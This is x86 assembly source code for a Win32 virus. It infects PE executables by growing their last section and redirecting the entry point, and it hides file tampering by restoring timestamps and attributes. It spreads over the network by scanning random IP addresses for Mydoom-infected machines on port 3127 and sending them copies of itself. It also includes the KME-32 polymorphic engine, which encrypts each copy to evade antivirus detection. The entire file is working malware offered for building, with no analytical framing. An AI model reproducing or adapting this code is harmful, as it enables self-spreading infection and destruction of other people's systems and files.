;compile with:
;TASM32 /M /ML VIRUS.ASM
;TLINK32 VIRUS.OBJ,,,IMPORT32.LIB
.586
.model flat
locals
ofs equ offset
by equ byte ptr
wo equ word ptr
dwo equ dword ptr
include pe.inc
include mz.inc
include win32api.inc
include useful.inc
.data
virus_main:
;setup stack to return to host later
push ofs __ret
original_entrypoint equ $-4
;retrieve kernel32.dll base
mov eax,[esp.Arg1]
@@search:
xor ax,ax
cmp [eax.MZ_magic],IMAGE_DOS_SIGNATURE
jnz @@nopeheader
mov ecx,[eax.MZ_lfanew]
cmp [ecx+eax.NT_Signature],IMAGE_NT_SIGNATURE
jz @@found
@@nopeheader:
dec eax
jmp @@search
@@found:
;get all APIs the virus need
call get_k32_apis
;infect files
call infect_files
;scare user
call payload
;return to host
ret
;secret routine
delta:
call @@delta
@@delta:
pop ebp
sub ebp, ofs @@delta
ret
API macro s
_&s dd 0
CHASH &s
endm
CHASH macro s
hash = 0
irpc c, (s)
hash = ((hash shl 7) and 0FFFFFFFFh) or (hash shr (32-7))
hash = hash xor '&c'
endm
dd hash
endm
COMPARE macro
LOCAL @@calc_hash
pushad
lodsd
mov esi,[ebx]
xor edx, edx
@@calc_hash:
rol edx, 7
xor dl,[esi.ebp]
inc esi
cmp by [esi.ebp],0
jne @@calc_hash
sub eax,edx
popad
endm
GONEXT macro
lodsd
endm
X_PUSH macro r, x
xor r, r
_reg = 0
_xsize = 0
l = 0
irpc c,
l = l + 1
endm
j = 0
s = 0
l0 = l
if (l0 and 3) ne 0
j = j shl 8 + "x"
s = s + 8
l0 = l0 + 1
endif
if (l0 and 3) ne 0
j = j shl 8 + "y"
s = s + 8
l0 = l0 + 1
endif
if (l0 and 3) ne 0
j = j shl 8 + "z"
s = s + 8
l0 = l0 + 1
endif
q = 0
i = l - 1
irpc c1,
t = 0
irpc c,
k = "&c"
if k eq "~" ;zero
k = 0
endif
if k eq "|" ;space
k = 32
endif
if k eq "ö" ;cr
k = 13
endif
if k eq "õ" ;lf
k = 10
endif
if t eq i
j = j shl 8
if k ne 0
j = j + k
endif
s = s + 8
if s eq 32
_xsize = _xsize + 4
if q eq 0
sub r, _reg - j
endif
if (q eq 1) or (q eq 3)
xor r, _reg xor j
endif
if q eq 2
add r, j - _reg
endif
push r
_reg = j
q = q + 1
if q eq 4
q = 0
endif
s = 0
j = 0
endif
exitm
endif
t = t + 1
endm l irpc
i = i - 1
endm
if s ne 0
error
endif
endm
X_POP macro
lea esp, [esp + _xsize]
endm
WORKSIZE EQU 256*1024
;map the file in memory, and check if is a infectable PE file
map_infect:
pushad
call delta
mov edi,[esp.cPushad.Pshd.WFD_nFileSizeLow]
lea esi,[esp.cPushad.Pshd.WFD_szFileName]
;first of all, remove file attribute
push FILE_ATTRIBUTE_NORMAL
push esi
call [ebp+_SetFileAttributesA]
test eax,eax
jz @@error
;check if file is already infected (file size / 16 = 13)
mov eax,edi
and eax,15
xor eax,13
jz @@error_fixatt
;open file
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_WRITE+GENERIC_READ
push esi
call [ebp+_CreateFileA]
mov ebx,eax
inc eax
jz @@error_fixatt
add edi,WORKSIZE
;create map
push 0
push edi
push 0
push PAGE_READWRITE
push 0
push ebx
call [ebp+_CreateFileMappingA]
test eax,eax
jz @@close_file
mov edi,eax
;map file
push 0
push 0
push 0
push FILE_MAP_ALL_ACCESS
push edi
call [ebp+_MapViewOfFile]
test eax, eax
je @@close_map
push eax
;check if the file is in PE file format
cmp [eax.MZ_magic],IMAGE_DOS_SIGNATURE
jnz @@close_view
mov ecx,[eax.MZ_lfanew]
cmp ecx,[esp.cPushad.Pshd.WFD_nFileSizeLow+4]
jae @@close_view
cmp [ecx+eax.NT_Signature],IMAGE_NT_SIGNATURE
jnz @@close_view
;and check if it is infectable
cmp [ecx+eax.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jnz @@close_view
cmp [ecx+eax.NT_OptionalHeader.OH_Magic],IMAGE_NT_OPTIONAL_HDR_MAGIC
jnz @@close_view
movzx ecx,[ecx+eax.NT_FileHeader.FH_Characteristics]
test ecx,IMAGE_FILE_EXECUTABLE_IMAGE+IMAGE_FILE_32BIT_MACHINE
jz @@close_view
test ecx,IMAGE_FILE_SYSTEM+IMAGE_FILE_DLL
jnz @@close_view
;infect file!
mov ecx,[esp.cPushad.Pshd.WFD_nFileSizeLow.Pshd]
call infect_image
;mark file as infected
add eax,15
and eax,not 15
add eax,13
mov [esp.cPushad.Pshd.WFD_nFileSizeLow.Pshd],eax
@@close_view:
call [ebp+_UnmapViewOfFile]
@@close_map:
push edi
call [ebp+_CloseHandle]
;set new file size
push NULL
push NULL
push dwo [esp.cPushad.Pshd.WFD_nFileSizeLow.(Pshd*2)]
push ebx
call [ebp+_SetFilePointer]
push ebx
call [ebp+_SetEndOfFile]
;restore time/date stamp
@@close_file:
lea eax,[esp.cPushad.Pshd.WFD_ftLastWriteTime.FT_dwLowDateTime]
push eax
add eax,8
push eax
add eax,8
push eax
push ebx
call [ebp+_SetFileTime]
push ebx
call [ebp+_CloseHandle]
;restore file attributes
@@error_fixatt:
push [esp.cPushad.Pshd.WFD_dwFileAttributes]
push esi
call [ebp+_SetFileAttributesA]
@@error:
popad
ret
;infect file by increasing the last file section
infect_image:
pushad
mov ebp,eax
;calculate last section header position (the one we will increase)
mov esi,[ebp.MZ_lfanew]
add esi,ebp
movzx eax,wo [esi.NT_FileHeader.FH_NumberOfSections]
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
lea edi,[esi.eax+(size IMAGE_NT_HEADERS-IMAGE_SIZEOF_SECTION_HEADER)]
mov ebx,[edi.SH_SizeOfRawData]
mov edx,ebx
add ebx,[edi.SH_VirtualAddress]
add edx,[edi.SH_PointerToRawData]
;set new entrypoint
xchg ebx,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
add ebx,[esi.NT_OptionalHeader.OH_ImageBase]
;modify section values to virus needs
mov dwo [edi.SH_Characteristics],IMAGE_SCN_CNT_INITIALIZED_DATA+IMAGE_SCN_MEM_READ+IMAGE_SCN_MEM_WRITE
call get_virus_size
add eax,[edi.SH_SizeOfRawData]
mov ecx,[esi.NT_OptionalHeader.OH_FileAlignment]
dec ecx
add eax,ecx
not ecx
and eax,ecx
mov [edi.SH_SizeOfRawData],eax
add eax,[edi.SH_PointerToRawData]
mov [esp.Pushad_eax],eax
call get_virus_size
add eax,[edi.SH_VirtualSize]
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
dec ecx
add eax,ecx
not ecx
and eax,ecx
mov [edi.SH_VirtualSize],eax
add eax,[edi.SH_VirtualAddress]
mov [esi.NT_OptionalHeader.OH_SizeOfImage],eax
push esi
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
call @@delta
@@delta:
pop esi
sub esi,ofs @@delta-ofs virus_main
mov dwo [esi+(ofs original_entrypoint-ofs virus_main)],ebx
;call encryption routine
mov ecx,virus_size
lea edi,[edx+ebp]
call encrypt
;fix the entrypoint, in case that the encryption changed it
pop esi
add [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],eax
popad
ret
;scan for machines infected by mydoom worm, and upload/run a copy of virus
payload:
pushad
;get dll
X_PUSH eax,WS2_32.DLL~
push esp
call delta
call [ebp+_LoadLibraryA]
X_POP
;get the api
call @@apiimport
API WSAStartup
API socket
API connect
API send
dd -1
@@apiimport:
pop esi
call get_apis
;init internet
sub esp,200h
push esp
push 1
call [ebp+_WSAStartup]
;get the name of a infected file(current one)
mov esi,esp
push 200h
push esi
push 0
call [ebp+_GetModuleFileNameA]
;open infected file
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push esi
call [ebp+_CreateFileA]
mov ebx,eax
inc eax
jnz @@open_ok
sub esp,4*4
jmp @@exit
@@open_ok:
push 0
push ebx
call [ebp+_GetFileSize]
xchg eax,esi
;alloc memory for infected file
push 0
mov ecx,esp
push 0
push ecx
push esi
add esi,5
push esi
push 40h
call [ebp+_GlobalAlloc]
xchg eax,edi
;build mydoom protocol header
mov eax,09e3c1385h
stosd
mov al,0a2h
stosb
;read infected file
push edi
push ebx
call [ebp+_ReadFile]
push ebx
call [ebp+_CloseHandle]
;setup paramters for thread
sub edi,5
push edi
push esi
mov ebx,esp
;create a new thread
sub eax,eax
push eax
push esp
push eax
push ebx
call @@scanner
jmp inet_thread
@@scanner:
push eax
push eax
call [ebp+_CreateThread]
;give the new thread time to get params
push 1000
call [ebp+_Sleep]
;free mem(stack) and exit
@@exit:
add esp,200h+4*4
popad
ret
;scan internet in search for machines infected by mydoom
inet_thread:
mov esi,[esp.Arg1]
mov edi,[esi]
lodsd
mov esi,[esi]
;create socket
push 0
push 1
push 2
call delta
call [ebp+_socket]
xchg ebx,eax
@@next_ip:
;generate a random IP
call [ebp+_GetTickCount]
push 0
push 0
push eax
push 370C0002h ;port 3127
mov eax,esp
;found a mydoom infected machine?
push 16
push eax
push ebx
call [ebp+_connect]
add esp,4*4
test eax,eax
jnz @@continue
;yeah! infect it!
push 0
push edi
push esi
push ebx
call [ebp+_send]
@@continue:
push 1000
call [ebp+_Sleep]
jmp @@next_ip
MAXSIZE EQU 96*1024
;return virus size
get_virus_size:
mov eax, MAXSIZE
ret
;setup parameters to calling KME
encrypt:
sub eax,eax
pushad
push eax ;flags
push CMD_ALL
push CMD2_ALL
push REG_ALL
push 50 ;jmp prob
lea ecx,[esp.Pushad_eax+4*5]
push ecx
push eax ;ptr2size
push -1 ;rndfill
push MAXSIZE
push edi
push ofs kme_stub-ofs virus_main ;i_entry
push virus_size
push esi
push eax
push eax
push eax ;virus rva
push eax
push eax
call delta
call [ebp+_GetTickCount]
push eax ;rndseed
push 1
push 0
call kme_main
add esp,4*KME_N_ARGS
popad
ret
;this stub is the entry, in virus, for the KME crypted hosts. it setup the
;stack, thats need to find kernel32.dll imagebase
kme_stub:
push dwo [esp+((virus_size+3)/4)*4]
jmp virus_main
;KME-32 v5.52 -- Kewl Mutation Engine -- SOURCE
C_EIP_MAX_ITER equ 10000 ; these parameters used to
C_EIP_TOP equ 64 ; find new JMP location
C_EIP_BOTTOM equ 64
C_EIP_PREV equ 20
C_EIP_NEXT equ 40
C_MAX_SUB equ 32 ; max # of subroutines
testcmd macro fl, lbl
test cmdavail, fl
jz lbl
endm
testcmd2 macro fl, lbl
test cmdavail2, fl
jz lbl
endm
flagsz macro fl, lbl
test flags, fl
jz lbl
endm
flagsnz macro fl, lbl
test flags, fl
jnz lbl
endm
; ---------------------------------------------------------------------------
kme_main proc c
; parameters -- pushed in reversed order
arg tempbufptr:DWORD; NULL or ptr, size == o_max
arg nlayer:DWORD ; # of layers to build
arg randseed:DWORD ; push GetTickCount() here
arg regsave:DWORD ; push/pop regs at prolog/epilog
arg original_rva:DWORD ; original entry RVA
arg vir_rva:DWORD ; virus in-file RVA
arg exitregptr:DWORD ; 0 or pointer to 8 dwords
arg initregptr:DWORD ; 0 or pointer to 8 dwords
arg i_offs:DWORD ; virus offset
arg i_size:DWORD ; virus size
arg i_entry:DWORD ; virus entry (relative)
arg o_offs:DWORD ; output offset
arg o_max:DWORD ; output max buf size
arg o_fillchar:DWORD; character to fill out buf
arg po_size:DWORD ; 0 or pointer to out buf size
arg po_entry:DWORD ; 0 or pointer to out entry (rel.)
arg jmp_prob:DWORD ; JMPs if rnd(jmp_prob)==0
arg regavail:DWORD ; register set (REG_XXX)
arg cmdavail2:DWORD ; adv. command set (CMD2_XXX)
arg cmdavail:DWORD ; command set (CMD_XXX)
arg flags:DWORD ; flags (FLAG_XXX)
; local variables
local save_esp:DWORD
local save_ebp:DWORD
;; "state" (size is DWORD-aligned)
;; state should be preserved when genereating subs
local state_end:DWORD
local regused:DWORD ; set of used registers
local reginit:DWORD ; set of initialized registers
local em_reg:DWORD:8 ; register values (emulation)
local regbuf:BYTE:8 ; indexes of regs to be pushed
local state_begin:DWORD
;;
local in_subroutine:BYTE ; inside-of-subroutine
local tempo:DWORD ; use in ifollow/rfollow only
local p_count:DWORD ; # of generated subs
local p_addr:DWORD:C_MAX_SUB
local p_stack:BYTE:C_MAX_SUB
local p_conv:BYTE:C_MAX_SUB
local jxxcond:BYTE:16 ; flags, in perverted form
local fpuinit:BYTE
local fpustack:BYTE
local n_pushed:DWORD ; size of pushed stuff
local randseed2:DWORD ; for 2nd randomer
local po_size_ml:DWORD
; local debug_counter:DWORD
local restartcount:DWORD
local t_entry:DWORD
local t_size:DWORD
pusha
cld
mov save_esp, esp ; to jmp to @@error from subs
mov save_ebp, ebp
cmp nlayer, 1
jne @@multilayer
flagsz FLAG_RANDOMSTRATEGY, @@skiprnds
call rnd_dword
mov regavail, eax
call rnd_dword
mov cmdavail, eax
call rnd_dword
mov cmdavail2, eax
@@skiprnds:
; check jmp_prob
cmp jmp_prob, 0
jne @@jp
mov eax, 20-10+1 ; 10..20
call rnd_eax
add eax, 10
mov jmp_prob, eax
@@jp:
; check o_fillchar
cmp o_fillchar, -1
jne @@ofc
call rnd_byte
mov o_fillchar, eax
@@ofc:
; fix regavail -- check if no registers given
and regavail, REG_ALL ; clear ESP if set
jnz @@regok
or regavail, REG_DEFAULT
@@regok:
and regsave, REG_ALL
flagsz FLAG_ONLY386, @@skip1
and cmdavail, not (CMD_BSWAP+CMD_XADD)
@@skip1:
mov edi, o_offs ; fill output buffer
mov ecx, o_max
mov eax, o_fillchar
rep stosb
mov in_subroutine, cl
mov p_count, ecx
mov fpuinit, cl
mov fpustack, cl
mov n_pushed, ecx
; mov debug_counter, ecx
; initialize bitsets: registers initialized/used
mov reginit, ecx
mov regused, ecx
; init 2nd randomer
mov esi, i_offs
mov ecx, i_size
xor edx, edx
@@xorcycle: lodsb
xor dl, al
add dl, al
rol edx, 1
loop @@xorcycle
mov randseed2, edx
; while generation, EDI contains current outpointer
mov edi, o_offs
; if need jmps & (not FLAG_EIP0) select random EDI
flagsnz FLAG_EIP0+FLAG_NOJMPS, @@skipnew
cmp po_entry, 0
je @@skipnew
call @@find_new_eip
@@skipnew:
; calculate decryptor entry point
mov ecx, po_entry
jecxz @@skip_retentry
mov eax, edi
sub eax, o_offs
mov [ecx], eax
@@skip_retentry:
add i_size, 3 ; i_size: align 4
and i_size, not 3
call @@int3 ; add INT3 if FLAG_DEBUG
; set initial register values
cmp initregptr, 0
je @@ir_done
xor ebx, ebx
@@ir_cycle: bt regavail, ebx
jnc @@ir_cont
mov edx, initregptr
mov edx, [edx+ebx*4]
cmp edx, -1
je @@ir_cont
mov em_reg[ebx*4], edx
bts reginit, ebx
@@ir_cont: inc ebx
cmp bl, 8
jb @@ir_cycle
@@ir_done:
; push regsave[]
push regavail
mov ebx, regsave
not ebx
and regavail, ebx
not ebx
or regused, ebx
@@1_push_loop: bsf eax, ebx
jz @@1_push_done
btr ebx, eax
bt dword ptr [esp], eax
jnc @@1x
bts regavail, eax
@@1x: btr regused, eax
call @@eip
add al, 50h
stosb
call @@garbage_10
jmp @@1_push_loop
@@1_push_done: pop regavail
;;
; ECX contains number of elements in regbuf
xor ecx, ecx
call @@garbage_10 ; add "logic" command
;;
@@main_cycle: ; main encryption cycle
; push ecx
; inc debug_counter
; and debug_counter, 63
; jnz @@nodbg
; xor ecx, ecx
;@@dbgccl: bt reginit, ecx
; jnc @@nodbgchk
; mov ax, 0F881h ; cmp r32,xxxxxxxx
; or ah, cl
; stosw
; mov eax, em_reg[ecx*4]
; stosd
; mov ax, 0FE75h ; jne $
; stosw
; call @@eip
;@@nodbgchk: inc ecx
; and ecx, 7
; jnz @@dbgccl
;@@nodbg: pop ecx
call @@poly_cmd ; add "logic" command
; get next dword (backward)
sub i_size, 4
mov edx, i_size
add edx, i_offs ; get dword into EDX
mov edx, [edx]
flagsnz FLAG_NOREPEATPUSH, @@skip666
xor ebx, ebx
@@search_value: cmp em_reg[ebx*4], edx ; a register already have the value we
jnz @@no_equal ;need?
bt reginit, ebx ;...and is initialized?
jc @@put_in_pushqueue ;yeah! so, put in push queue
@@no_equal: inc ebx
cmp bl, 8
jnz @@search_value
@@skip666:
call @@get_init_reg ; select/initialize rnd reg
jc @@error_assert
xchg ebx, eax
; push registers until register in EBX become free
call @@push_uptoebx
call @@gen_value ; make em_reg[EBX] equal to EDX
@@put_in_pushqueue:
bts regused, ebx ; mark reg in EBX as used
mov regbuf[ecx], bl ; store EBX as ready to push
inc ecx
flagsnz FLAG_NOREPEATPUSH, @@no_flush
cmp ecx, 8
ja @@error_assert
jb @@no_flush
call @@push_1 ; prevent queue from overflow
@@no_flush:
cmp i_size, 0 ; until we still have dwords
jg @@main_cycle ; in inputstream
;;
call @@push_all ; push all unpushed registers
call @@epilog ; "epilog" code -- JMP/CALL ESP
; calculate size of generated decryptor
sub edi, o_offs
flagsnz FLAG_NOJMPS, @@nj
mov edi, o_max
@@nj:
mov ecx, po_size
jecxz @@skip_osize
mov [ecx], edi
@@skip_osize:
@@success_exit:
mov eax, 1 ; EAX=1 - all ok
@@eax_exit: mov [esp+7*4], eax
dec eax ; success?
jz @@skipccfill1
; fill output buffer on error
mov edi, o_offs
mov ecx, o_max
mov eax, o_fillchar
cld
rep stosb
@@skipccfill1:
; fill tempbuf on exit
mov edi, tempbufptr
or edi, edi
jz @@skipccfill2
mov ecx, o_max
mov eax, o_fillchar
cld
rep stosb
@@skipccfill2:
popa ; retore regs & exit
ret
@@error_assert: mov eax, KME_ERROR_ASSERT
jmp @@error_eax
@@error_nomemory: mov eax, KME_ERROR_NOMEMORY
jmp @@error_eax
@@error_badarg: mov eax, KME_ERROR_BADARG
; jmp @@error_eax
@@error_eax: mov esp, save_esp ; rest. ESP (if call from sub)
mov ebp, save_ebp
jmp @@eax_exit
; ===================== subroutines =========================================
; add INT3 command (if FLAG_DEBUG)
@@int3: flagsz FLAG_DEBUG, @@skip_debug
;@@int3_do:
push eax
mov al, 0CCh
stosb
pop eax
@@skip_debug: retn
; ---------------------------------------------------------------------------
; push 1 register
; (indexes stored in regbuf, count in ECX)
@@push_1: jecxz @@nothing2push
add n_pushed, 4
dec ecx ; decr. num of regs in regbuf
movzx eax, regbuf ; read 1 byte
pusha ; delete 1st entry in regbuf
lea esi, regbuf+1
lea edi, regbuf
movsd ; just 8 bytes
movsd
popa
flagsnz FLAG_NOREPEATPUSH, @@free_it
jecxz @@free_it
pushad
lea edi, regbuf ;scan push queue for the register we just pushed...
repne scasb ;it appear once again? so dont free
popad
je @@dont_free_yet
@@free_it:
btr regused, eax ; mark register as free
@@dont_free_yet:
call @@eip ; add JMP
push eax
add al, 50h ; PUSH reg
stosb
pop eax
push regused
bts regused, eax
call @@poly_cmd ; "logic" command
pop regused
@@nothing2push:
retn
; push all registers
; (indexes stored in regbuf, count in ECX)
@@push_all: jecxz @@push_all_done
call @@push_1
jmp @@push_all
@@push_all_done: retn
; push registers up to pointed by EBX
; (indexes stored in regbuf, count in ECX)
@@push_uptoebx: bt regused, ebx
jnc @@ebx_free
call @@push_1
jmp @@push_uptoebx
@@ebx_free: retn
; ===========================================================================
; "epilog" code --
; -- load regs and CALL ESP in perverted form
@@epilog: call @@garbage_10 ; "logic"
cmp regused, 0
jne @@error_assert
flagsz FLAG_X_NORET, @@continue_epilog
call @@epilog_regs
jmp @@ret_from_epilog
@@continue_epilog:
call @@get_free_reg ; get free rnd reg
jc @@error_assert
xchg ecx, eax
btr regavail, ecx ; to avoid usage in logic;
btr reginit, ecx ; value unknown (ESP)
call @@eip ; JMP
mov ax, 0E089h ; mov reg1, esp
add ah, cl
stosw
call @@garbage_10
call @@get_free_reg ; get free rnd
jnc @@morethan1reg
; if we have only 1 register
@@1reg:
cmp i_entry, 0
je @@skipadd1
call @@eip ; JMP
mov ax, 0C081h ; add reg1, i_entry
add ah, cl
stosw
mov eax, i_entry
stosd
@@skipadd1:
; cant emul - ESP unknown
jmp @@1ornot
; if we have more than 1 register
@@morethan1reg: xchg ebx, eax
bts regused, ebx ; mark as used
mov edx, i_entry ; reg2 <-- i_entry
call @@gen_value
call @@garbage_10
call rnd_zf
jz @@skip_xchg
; lets do vise versa: add reg2, reg1
bts regavail, ecx ; free reg1
btr regavail, ebx
btr reginit, ebx ; value becomes unknown
xchg ecx, ebx ; invert register usage
@@skip_xchg:
btr regused, ebx
call @@eip ; JMP
mov ax, 0C001h ; add reg1, reg2
or ah, cl
shl bl, 3
or ah, bl
stosw
; cant emul - ESP unknown
@@1ornot:
call @@garbage_10
;; does reg1 value should be passed into virus?
mov eax, exitregptr
or eax, eax
jz @@skipchk
cmp dword ptr [eax+ecx*4], -1
je @@skipchk
flagsnz FLAG_X_CALLESP, @@push_ret
@@skipchk: ;;
flagsnz FLAG_X_CALLESP, @@calljmp
call rnd_zf
jz @@calljmp
@@push_ret: lea eax, [ecx+50h] ;push reg1
stosb
bts regavail, ecx
btr regused, ecx ; free reg1
call @@garbage_10
call @@epilog_regs
call @@eip
flagsnz FLAG_X_CALLESP, @@callddesp
mov al, 0c3h ; ret
stosb
jmp @@lwo
@@callddesp: mov ax, 14FFh ; call dword ptr [esp]
stosw
mov al, 24h
stosb
add n_pushed, 4
jmp @@lwo
@@calljmp: call @@epilog_regs
call @@eip
mov ax, 0E0FFh ; JMP
flagsz FLAG_X_CALLESP, @@itsjmp
mov ah, 0D0h ; CALL
@@itsjmp:
add ah, cl
stosw
bts regavail, ecx
btr regused, ecx ; free reg1
@@lwo:
mov reginit, 0 ; all values become unknown
mov regused, 0 ; and free
call @@garbage_10
flagsz FLAG_X_CALLESP, @@ret_from_epilog ; was JMP ?
call @@eip
mov ax, 0C481h ; add esp, xxxx
stosw
mov eax, n_pushed
stosd
call @@garbage_10
;;
mov ebx, regsave
@@1_pop_loop: bsr eax, ebx
jz @@1_pop_done
btr ebx, eax
call @@eip
btr regavail, eax
btr reginit, eax
add al, 58h ; pop
stosb
call @@poly_cmd
jmp @@1_pop_loop
@@1_pop_done: ;;
@@skip_popregs:
call @@eip
flagsnz FLAG_X_RETBYJMP, @@rbj
flagsnz FLAG_X_RET0C, @@r0C
call @@eip
mov al, 0C3h ; retn
stosb
jmp @@ret_from_epilog
@@rbj:
mov al, 0E9h
stosb
lea eax, [edi+4]
sub eax, o_offs
add eax, vir_rva
sub eax, original_rva
neg eax
stosd
@@ret_from_epilog:
call @@garbage_10
retn ; @@epilog
@@r0C: mov regavail, REG_EAX
mov reginit, 0
mov regused, 0
call @@poly_cmd
xor eax, eax
call @@reg_init_eax
xor ebx, ebx ; eax
mov edx, 1 ; 1
call @@gen_value
bts regused, eax ; v5.50 bugfix
call @@poly_cmd
call @@eip
mov al, 0C2h ; ret 0Ch
stosb
mov ax, 000Ch
stosw
jmp @@ret_from_epilog
@@epilog_regs: cmp exitregptr, 0
je @@er_ret
xor ebx, ebx
@@er_cycle: bt regavail, ebx
jnc @@er_cont
mov edx, exitregptr
mov edx, [edx+ebx*4]
cmp edx, -1
je @@er_cont
call @@gen_value ; em_reg[ebx*4] <-- edx
bts regused, ebx
call @@poly_cmd
@@er_cont: inc ebx
cmp bl, 8
jb @@er_cycle
@@er_ret: call @@int3
retn
@@garbage_10: mov eax, 10
@@multi_garbage: call rnd_eax
jz @@mg_ret
@@gen_garbage: call @@poly_cmd
dec eax
jnz @@gen_garbage
@@mg_ret: retn
; ===========================================================================
; this subroutine makes em_reg[EBX] equal to EDX
@@gen_value:
; use XOR if noone specified
testcmd CMD_XOR+CMD_ADD+CMD_SUB+CMD_AND+CMD_OR, @@rdef
@@gen_value_restart: mov eax, 5 ; EAX=#
call rnd_eax
jz @@r0 ; sub dispatch
dec eax
jz @@r1 ; add
dec eax ; and
jz @@r3
dec eax ; or
jz @@r4
; xor
@@r2: testcmd CMD_XOR, @@gen_value_restart
@@rdef: xor edx, em_reg[ebx*4] ; emul -- xor reg, c
xor em_reg[ebx*4], edx
mov eax, 35F081h ; opcodes
jmp @@store_cmd
@@r1: testcmd CMD_ADD, @@gen_value_restart
sub edx, em_reg[ebx*4] ; emul -- add reg, c
add em_reg[ebx*4], edx
mov eax, 05C081h ; opcodes
jmp @@store_cmd
@@r0: testcmd CMD_SUB, @@gen_value_restart
sub edx, em_reg[ebx*4] ; emul -- sub reg, c
neg edx
sub em_reg[ebx*4], edx
mov eax, 2dE881h ; opcodes
@@store_cmd: or edx, edx ; skip zero-argument
jz @@rt
@@store_cmd_even0:
call @@eip ; JMP
flagsnz FLAG_NOSHORT, @@long ; if skip short opcs
or ebx, ebx ; use short form for EAX
jnz @@long
shr eax, 16
@@short: stosb ; store 1-byte opcode
jmp @@shortorlong
@@long: add ah, bl ; store 2-byte opcode
stosw
@@shortorlong: xchg edx, eax ; store argument (EDX)
stosd
@@rt: retn
@@r3: testcmd CMD_AND, @@gen_value_restart
; em_reg and ? = edx
; 0 * 0
; 0 - 1
; 1 0 0
; 1 1 1
mov eax, em_reg[ebx*4] ; em_reg and ? = edx
and eax, edx ; 0 none 1
cmp eax, edx
jne @@rdef ; gen_value_restart
call rnd_dword ; em_reg and ? = edx
not em_reg[ebx*4] ; 0 any 0
and eax, em_reg[ebx*4]
not em_reg[ebx*4]
; em_reg and ? = edx
xor edx, eax ; 1 copy 0/1
and em_reg[ebx*4], edx
mov eax, 25E081h
jmp @@store_cmd_even0
@@r4: testcmd CMD_OR, @@gen_value_restart
; em_reg or ? = edx
; 0 0 0
; 0 1 1
; 1 - 0
; 1 * 1
mov eax, edx ; em_reg or ? = edx
and eax, em_reg[ebx*4] ; 1 none 0
cmp eax, em_reg[ebx*4]
jne @@rdef ; gen_value_restart
call rnd_dword ; em_reg or ? = edx
and eax, em_reg[ebx*4] ; 1 * 1
xor edx, eax
or em_reg[ebx*4], edx
mov eax, 0DC881h
jmp @@store_cmd
; ===================== register selection management =======================
; get random register
@@get_rnd_reg: cmp regavail, 0
je @@get_rnd_reg_err
call rnd_8
bt regavail, eax ; "regavail" set only
jnc @@get_rnd_reg
clc
retn
@@get_rnd_reg_err: mov eax, -1
stc
retn
; ---------------------------------------------------------------------------
; get random initialized register
@@get_init_reg: call @@get_rnd_reg ; get random reg
jc @@get_init_reg_err
call @@reg_init_eax ; initialize it (if not yet)
clc ; v5.50 bugfix
@@get_init_reg_err: retn
; ---------------------------------------------------------------------------
; check register & initialize it if uninitialized yet
; used 'coz initially em_reg[0..7] is unknown
@@reg_init_eax: bts reginit, eax ; initialized?
jc @@reg_init_retn
push ebx
mov ebx, eax
call @@eip ; JMP
call rnd_3
jz @@init_pushpop
dec eax
jz @@init_xorsub
@@init_mov: mov al, 0B8h ; MOV r, c
or al, bl
stosb
call rnd_dword
mov em_reg[ebx*4], eax ; store initial em_reg[]
stosd
@@init_done: xchg ebx, eax
pop ebx
@@reg_init_retn: retn
@@init_pushpop: testcmd CMD_PUSHPOP, @@init_mov
mov al, 68h
stosb
call rnd_dword
mov em_reg[ebx*4], eax ; store initial em_reg[]
stosd
call @@eip
lea eax, [ebx+58h]
stosb
jmp @@init_done
@@init_xorsub: testcmd CMD_XOR, @@_sub
mov al, 31h ; xor
call rnd_zf
jz @@_xor
@@_sub: testcmd CMD_SUB, @@init_mov
mov al, 29h ; sub
@@_xor: flagsnz FLAG_NOSWAP, @@_v0
call rnd_zf
jz @@_v0
xor al, 2
@@_v0: stosb
mov al, bl
shl al, 3
or al, bl
or al, 0C0h
stosb
mov em_reg[ebx*4], 0
call @@do_incdec
call @@do_incdec
jmp @@init_done
@@do_incdec: call rnd_zf
jz @@_v3
call @@eip
call rnd_zf
jz @@_v2
@@_v1: testcmd CMD_INC, @@_v3
inc em_reg[ebx*4]
mov al, 40h ; inc
or al, bl
stosb
jmp @@_v3
@@_v2: testcmd CMD_DEC, @@_v3
dec em_reg[ebx*4]
mov al, 48h ; dec
or al, bl
stosb
@@_v3: retn
; ---------------------------------------------------------------------------
; get random initialized register marked as "free"
@@get_free_reg: mov eax, regused ; 2+4
and eax, regavail
cmp eax, regavail ; 2
je @@bad
call @@get_init_reg
jc @@bad
bt regused, eax
jc @@get_free_reg
; clc
retn
@@bad: mov eax, -1
stc
retn
; ===========================================================================
; this subroutine finds new output pointer (in EDI)
@@find_new_eip:
mov edx, C_EIP_MAX_ITER ; max number of restarts
@@eip_find: dec edx ; error if no free space
jz @@error_nomemory
; find random location within outbuf
mov eax, o_max
sub eax, C_EIP_TOP+C_EIP_BOTTOM
call rnd_eax
add eax, C_EIP_TOP
add eax, o_offs
xchg edi, eax
; scan it -- should be unused
mov ecx, C_EIP_NEXT+C_EIP_PREV
mov eax, o_fillchar
repz scasb
jnz @@eip_find
sub edi, C_EIP_NEXT
retn
; ---------------------------------------------------------------------------
; this subroutine called before each command is
; stored to output stream
; it probably adds JMP to new random location
@@eip_do1: pushad
jmp @@eip_do
@@eip: pusha
mov eax, o_offs ; check if end of outbuf is
add eax, o_max ; reached. MUST add jmp then.
sub eax, edi
cmp eax, C_EIP_BOTTOM
jb @@eip_do
mov eax, o_fillchar ; scan following code --
mov ecx, C_EIP_NEXT ; -- it should be unused,
push edi ; MUST add jmp otherwise
repz scasb
pop edi
jnz @@eip_do
; here we may skip jmp
flagsnz FLAG_NOJMPS, @@eip_done ; JMPs disabled? -exit
mov eax, jmp_prob ; add JMP if rnd(jmp_prob)==0
call rnd_eax
jnz @@eip_done
@@eip_do:
; well, here we MUST select new location, or die
flagsnz FLAG_NOJMPS, @@error_nomemory ; no JMPs? - error!
mov al, 0E9h ; add JMP
stosb
stosd ; space for argument
mov ebx, edi ; save old position
call @@find_new_eip ; try to find new location
mov eax, edi ; link
sub eax, ebx
mov [ebx-4], eax
@@eip_done: mov [esp+0*4], edi ; pushad_edi
popa
